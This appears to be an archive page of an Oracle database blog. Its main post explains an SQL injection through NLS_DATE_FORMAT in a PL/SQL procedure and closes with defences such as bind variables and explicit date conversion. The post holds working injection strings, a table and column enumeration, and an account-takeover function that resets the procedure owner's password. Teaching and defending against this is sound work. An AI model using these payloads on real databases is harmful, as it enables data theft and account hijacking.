Friday, February 18, 2011

Interesting Read Followup…

Two days ago I wrote about an interesting security fiasco and said I’d follow up on it in a day or two – so here we are.

Just to recap – I wrote previously:

As a quick test - see if you can

  1. determine how the following bit of code can be attacked
  2. what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?
  3. how to best protect against that attack
  4. how else - short of the "best" - would you protect against the attack

create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where created = ''' ||p_date ||'''';

dbms_output.put_line( l_query );
open c for l_query;

for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;


In the comments to that blog entry we did get the answers bit by bit, I’ll summarize them here.



For #1 and #2, determine how the following bit of code can be attacked and what the outcome might be, we saw in the comments that all it took was the ability to set your NLS_DATE_FORMAT.  A capability anyone with CREATE SESSION has.  For example, if we set the NLS_DATE_FORMAT and run the procedure:



ops$tkyte%ORA11GR2> alter session set

  2  nls_date_format = '"''union select tname,0,null from tab--"';



Session altered.



ops$tkyte%ORA11GR2>

ops$tkyte%ORA11GR2> exec inj(sysdate)



select *

from all_users


where created = ''union select tname,0,null from


tab--'


BIG_AUDIT_TABLE.....


BIG_TABLE.....


USER_PW.....


C1.....


C2.....



PL/SQL procedure successfully completed.




As you can see – instead of reading ALL_USERS, we are now reading TAB – and seeing what tables might exist there.  Now, I cannot query USER_PW – that is owned by the owner of the procedure and I have no select on it – but – we’ll be able to read it anyway since this stored procedure can be used to query any table in the schema that owns it!  But first, we’ll need to see the column names – we don’t know those yet.



ops$tkyte%ORA11GR2> alter session set

  2  nls_date_format = '"''union select tname||cname,0,null from col--"';



Session altered.



ops$tkyte%ORA11GR2> exec inj(sysdate)



select *

from all_users


where created = ''union select tname||cname,0,null


from col—'



USER_PWPW...

USER_PWUNAME...




I think you are getting the picture – using a bit of trickery – we can query up many things in that schema – discovering what we need as we go along. 



If I have CREATE PROCEDURE (say a disgruntled developer, or a developer that just likes to be able to do stuff on the sly…) – I can go much further.  Consider this:



ops$tkyte%ORA11GR2> grant execute on inj to scott;



Grant succeeded.



ops$tkyte%ORA11GR2> connect scott/tiger

Connected.


scott%ORA11GR2> create or replace function chgpw return varchar2


  2  AUTHID CURRENT_USER


  3  as


  4          pragma autonomous_transaction;


  5  begin


  6          execute immediate 'alter user ops$tkyte identified by barfoo';


  7          return 'got you';


  8  end;


  9  /



Function created.



scott%ORA11GR2> grant execute on chgpw to public;



Grant succeeded.



scott%ORA11GR2>

scott%ORA11GR2>


scott%ORA11GR2> connect ops$tkyte/barfoo


ERROR:


ORA-01017: invalid username/password; logon denied





Warning: You are no longer connected to ORACLE.

scott%ORA11GR2> connect scott/tiger


Connected.


scott%ORA11GR2> alter session set


  2  nls_date_format = '"''union select scott.chgpw,0,null from dual--"';



Session altered.



scott%ORA11GR2> exec ops$tkyte.inj(sysdate)



select *

from all_users


where created = ''union select scott.chgpw,0,null from


dual--'


got you.....



PL/SQL procedure successfully completed.



scott%ORA11GR2> connect ops$tkyte/barfoo

Connected.




Anyone with create procedure and create session can kidnap that account.  This is NOT a bug in Oracle, this is not a bug in the database – this is everything working as expected. This is a bug in your developed code.



 



Now, what about #3 and #4 – how can we protect against that attack?  The easiest answer is always “use bind variables”.  If you use bind variables in your SQL, your SQL cannot be injected.  It is that simple.



If you use bind variables, your SQL cannot be injected.



SQL can only be injected when you concatenate inputs from the outside into your SQL.  If you do not concatenate these inputs, they cannot become part of your SQL.



Now, what if you couldn’t use bind variables (I’m hard pressed to come up with a case whereby that is actually true!) or didn’t want to use bind variables (as might be true in a data mart/data warehouse).  What then?  In this case – you would never rely on an implicit conversion.  This bit of code:



where created = ‘’’ || p_date || ‘’’’;



relies on an implicit conversion from a string to a date.  Implicit conversion are evil incarnate – if you see them in your code or others code – fix it right away. Many bad things can happen – you’ve seen one above.  One possible fix would be to use this code:



where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'' )';



That would make SQL Injection for that date input impossible – the ALTER SESSION SET NLS_DATE_FORMAT would have no impact on us anymore.



In other cases where the input is a string – we could use the DBMS_ASSERT package.



 



But always remember this:



If you use bind variables, your SQL cannot be injected.



It is really that simple!!!

For Vienna and Tallinn...

If you are near Vienna or Tallinn - you have an opportunity to attend an excellent two day seminar hosted by Oracle University - but delivered by Richard Foote. If you really want to know all about indexing in Oracle - this seminar will deliver.

I know Richard really knows his stuff - and I've seen him present many times before. This will be a seriously good event. The linked to page has linked to the registration pages.

Wednesday, February 16, 2011

An Interesting Read...

I found this article on the 'security' firm HBGary to be very interesting.

They were brought down by 'Anonymous' recently, in a completely embarrassing fashion (for a security firm, for sure).

What I found most interesting was how it all started and how easy it was....

It all started with a simple SQL Injection attack on their custom Content Management System (CMS). By finding a small exploit in that application, they gained access to the usernames and hashed passwords. Since the hashed passwords were neither salted, nor exceptionally well hashed - simple rainbow tables were used to figure out the (simple) passwords of a few power users. Once they had the passwords to the CMS - they then discovered some power users (at a security firm) liked to reuse their passwords over and over on many systems. That fact in turn gave them access to their email - where they discovered yet more passwords (sent in emails) - including the root password to a powerful internal machine. Given that information - and improper ssh configuration - they were able to "socially engineer" (over email) remote access to this machine - to which they now had root... And that was the end of that.

An internet security firm - brought down - by not following the most *basic* of security principals.

And all because of - SQL Injection... If you don't use bind variables - you are susceptible to it. If you accept input from an end user and concatenate it into your SQL, you are subject to SQL Injection. If you use bind variables - if you do not dynamically construct your SQL at runtime - you are not subject to it. It is that simple.

I say this a lot:
"it is much harder to write code that doesn't use binds than it is to write code that uses binds".
To which I get a lot of confused stares - for all of the developers "know" that if they use binds - they have to write MORE code - not less. And MORE = harder -right?

Wrong, 100% wrong. If you do not use binds, you have to write more code than if you use them. The code you have to write is the code to ensure with 100% degree of certainty that your inputs from the end user are valid, are safe, will not subject you to SQL Injection. And that is non-trivial. The real kicker is - after you write that code - you better submit it for review to at least five people that do not like you (that last bit is important). They have to be SUPER critical of the code and subject it to rigorous review.

As a quick test - see if you can

  1. determine how the following bit of code can be attacked
  2. what might be the outcome of this attack - what might be compromised on your server if this code were attacked, what could they do with it?
  3. how to best protect against that attack
  4. how else - short of the "best" - would you protect against the attack

create or replace procedure inj( p_date in date )
as
l_rec all_users%rowtype;
c sys_refcursor;
l_query long;
begin
l_query := '
select *
from all_users
where created = ''' ||p_date ||'''';

dbms_output.put_line( l_query );
open c for l_query;

for i in 1 .. 5
loop
fetch c into l_rec;
exit when c%notfound;
dbms_output.put_line( l_rec.username || '.....' );
end loop;
close c;
end;
I'll post my answers to 1-4 tomorrow or the next day.

Think about it - how many of the developers you work with would even know that bit of code was easily attacked? Not many in my experience (I wouldn't have seen it right off until just a few years ago by the way - no magic here...)

Tuesday, February 15, 2011

Searching on Google just got a lot safer...

If you use Chrome anyway. If you haven't tried Chrome - give it a whirl, I was a diehard Firefox user until I tried out Chrome.

There is an extension that can block sites on Google Search. It is called the "Personal Blocklist". Within seconds of installing it - the annoying sites that use whatever technique they can to get to the top of a Google Search were blocked (by me, you just click on "block " in the search result and they disappear!)

You can opt to show the blocked results at anytime - so if you wanted to see them - they are easily there, but hidden.

Very cool - very very cool. There was at least one or two sites I blocked immediately - including the annoying ones that pretend to show answers but then want you to log in to read them (sometimes with a paywall).

Monday, February 14, 2011

But what is even worse...

Deferred Segment Creation...

Something I learned new this morning...

Oracle 11g introduced the new feature "deferred segment creation". In a nutshell - it is a new (default!) feature whereby when you create a new table - no segment is created, no initial extent is allocated, no storage is reserved.

The design goal was to prevent hundreds or thousands of segments being created by a 3rd party application that only uses 100 of the tables it creates. Many 3rd party applications create every possible table they might use - only to use 100 of them given the feature set you use.

So, the upside of this feature is that you save space, you don't clutter up your data dictionary. Sounds all good - but could there be downsides? Anytime the default way the database operates changes - there could be downsides.

One 'obvious' side effect of deferred segment creation could be seen in an installation script that installs all of its tables, indexes, etc and then counts USER_SEGMENTS rows to ensure everything was installed. The count would not be ZERO instead of however many segments were created.

Another one, one that I just became aware of this morning, is that you can now create a table in a tablespace which you have NO QUOTA on. In the past - you would expect this as the logical outcome of not having any quota on a tablespace:

ops$tkyte%ORA10GR2> create user a identified by a default tablespace users;
User created.

ops$tkyte%ORA10GR2> grant create session, create table to a;
Grant succeeded.

ops$tkyte%ORA10GR2> connect a/a
Connected.

a%ORA10GR2> create table t ( x int primary key );
create table t ( x int primary key )
*
ERROR at line 1:
ORA-01950: no privileges on tablespace 'USERS'

However in 11g - you'll find this behavior instead:

ops$tkyte%ORA11GR2> create user a identified by a default tablespace users;
User created.

ops$tkyte%ORA11GR2> grant create session, create table to a;
Grant succeeded.

ops$tkyte%ORA11GR2> connect a/a
Connected.

a%ORA11GR2> create table t ( x int primary key );
Table created.

I just created a table in a tablespace I have no quota on - successfully. Or did I?

a%ORA11GR2> insert into t values ( 1 );
insert into t values ( 1 )
*
ERROR at line 1:
ORA-01950: no privileges on tablespace 'USERS'

Apparently - not really. The table created - but the segments cannot be created. The ORA-1950 is not an error you would be expecting on an INSERT - you might expect "unable to extend", but not an ORA-1950 in general.



You should note that you can change this default behavior - that is turn off deferred segment creation either

  • at the database level via your init/spfile
  • at the session level via "alter session set deferred_segment_creation = false;"
  • statement by statement via "create table t ( x int ) segment creation immediate;"
if you like. Things change over time...

Saturday, February 12, 2011

Getting Started...

An oft asked question is: "how do I get started". As in getting started in IT, in programming, in database development - whatever.

You can check out some answers to that question from various opinion holders - including people such as Jonathan Lewis, Arup Nanda, myself and others in this months NoCOUG Journal.

This months journal is "unique" and somewhat special to me. See if you can guess why. I'll make it interesting - if you can post a comment here stating why this months journal is special (to me) - I'll send you an autographed copy of "Expert Oracle Database Architecture - 2nd edition". You'll need to include some method of contacting you (suggest a disposable email address if you don't want to post your real one).

The NoCOUG Journal team is of course not invited to this little contest as they already know the answer :)


UPDATED: Congratulations to Dave K. for correctly pointing out that my son Alan took the picture that is the cover of the journal this month!

Tuesday, February 08, 2011

About Database Security...

I'll be doing a webcast on Thursday Feb. 24th at 9:30am (PST) regarding "How Secure is your Enterprise Data?". It'll be just about 30 minutes long.

I won't be the only speaker - I'm on second at 9:30am (PST). Anyone can "attend" (since it is virtual after all).

Hope to "see" you there...

Friday, February 04, 2011

A short podcast...

We've just posted a short podcast with more information about the Real World Performance days I'm participating in. We are starting on the west coast of the US and will be presenting across the country over the next few months - eventually ending up in the UK.

For more information or to sign up - goto http://www.ioug.org/ and select Events -> A day of Real World Performance from the menu.

Hope to see you there!